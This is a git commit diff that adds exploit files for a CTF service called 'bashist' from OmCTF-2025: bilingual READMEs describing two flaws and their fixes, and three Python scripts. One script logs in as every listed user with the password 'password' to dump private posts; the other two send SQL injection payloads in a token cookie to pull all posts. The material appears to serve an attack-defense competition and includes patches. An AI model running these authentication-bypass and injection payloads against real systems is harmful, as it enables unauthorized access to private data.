adding validated services? patching forcad_local.py
This commit is contained in:
22
OmCTF-2025/sploits/bashist/README.RU.md
Normal file
22
OmCTF-2025/sploits/bashist/README.RU.md
Normal file
@@ -0,0 +1,22 @@
|
||||
# Эксплойт 1
|
||||
|
||||
**Флагтор 1: Приватные посты (их содержимое)**
|
||||
|
||||
**Уязвимость:** Баг в коде, позволяющий войти под любым пользователем с паролем `password`.
|
||||
|
||||
**Исправление:** Добавить знак `$` перед хешированием пароля в функциях `api-user-register` и `api-user-login`.
|
||||
|
||||
# Эксплойт 2
|
||||
|
||||
**Flagstore 2: Приватные посты (их содержимое)**
|
||||
|
||||
Уязвимость: Неэффективная функция db-escape и её отсутствие в функции db-list-user-posts для поля user_token.
|
||||
|
||||
Исправление: Изменить функцию db-escape на:
|
||||
|
||||
```bash
|
||||
db-escape() {
|
||||
local str="$1"
|
||||
echo "${str//\'/\\\'}"
|
||||
}
|
||||
```
|
||||
21
OmCTF-2025/sploits/bashist/README.md
Normal file
21
OmCTF-2025/sploits/bashist/README.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# Sploit 1
|
||||
|
||||
**Flagstore 1. Private posts (their content)**
|
||||
|
||||
**Vulnerability:** A bug in code allows logging in as any user with password - `password`.
|
||||
|
||||
**Fix:** Add a `$` sign before hashing the password in the `api-user-register` and `api-user-login` functions.
|
||||
|
||||
# Sploit 2
|
||||
|
||||
**Flagstore 2. Private posts (their content)**
|
||||
|
||||
**Vulnerability:** An ineffective `db-escape` function and its absence in the `db-list-user-posts` function for `user_token` field.
|
||||
|
||||
**Fix:** Change the `db-escape` function to:
|
||||
```bash
|
||||
db-escape() {
|
||||
local str="$1"
|
||||
echo "${str//\'/\\\'}"
|
||||
}
|
||||
```
|
||||
1
OmCTF-2025/sploits/bashist/requiremets.txt
Normal file
1
OmCTF-2025/sploits/bashist/requiremets.txt
Normal file
@@ -0,0 +1 @@
|
||||
requests
|
||||
27
OmCTF-2025/sploits/bashist/sploit1.py
Normal file
27
OmCTF-2025/sploits/bashist/sploit1.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
sess = requests.Session()
|
||||
|
||||
r = sess.get(f"{base_url}/api/users")
|
||||
assert r.ok, r.text
|
||||
|
||||
users = [el["username"] for el in r.json()]
|
||||
|
||||
for user in users:
|
||||
sess = requests.Session()
|
||||
r = sess.post(
|
||||
f"{base_url}/api/user/login", json={"username": user, "password": "password"}
|
||||
)
|
||||
assert r.ok, r.text
|
||||
|
||||
r = sess.get(f"{base_url}/api/user/posts")
|
||||
assert r.ok, r.text
|
||||
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
11
OmCTF-2025/sploits/bashist/sploit2.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
|
||||
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%201=1%20--"})
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
11
OmCTF-2025/sploits/bashist/sploit3.py
Normal file
11
OmCTF-2025/sploits/bashist/sploit3.py
Normal file
@@ -0,0 +1,11 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
base_url = f"http://{ip}:1599"
|
||||
|
||||
r = requests.get(f"{base_url}/api/user/posts", cookies={"token": "'%20OR%20'1'='1"})
|
||||
flags = [post["content"] for post in r.json()]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
Reference in New Issue
Block a user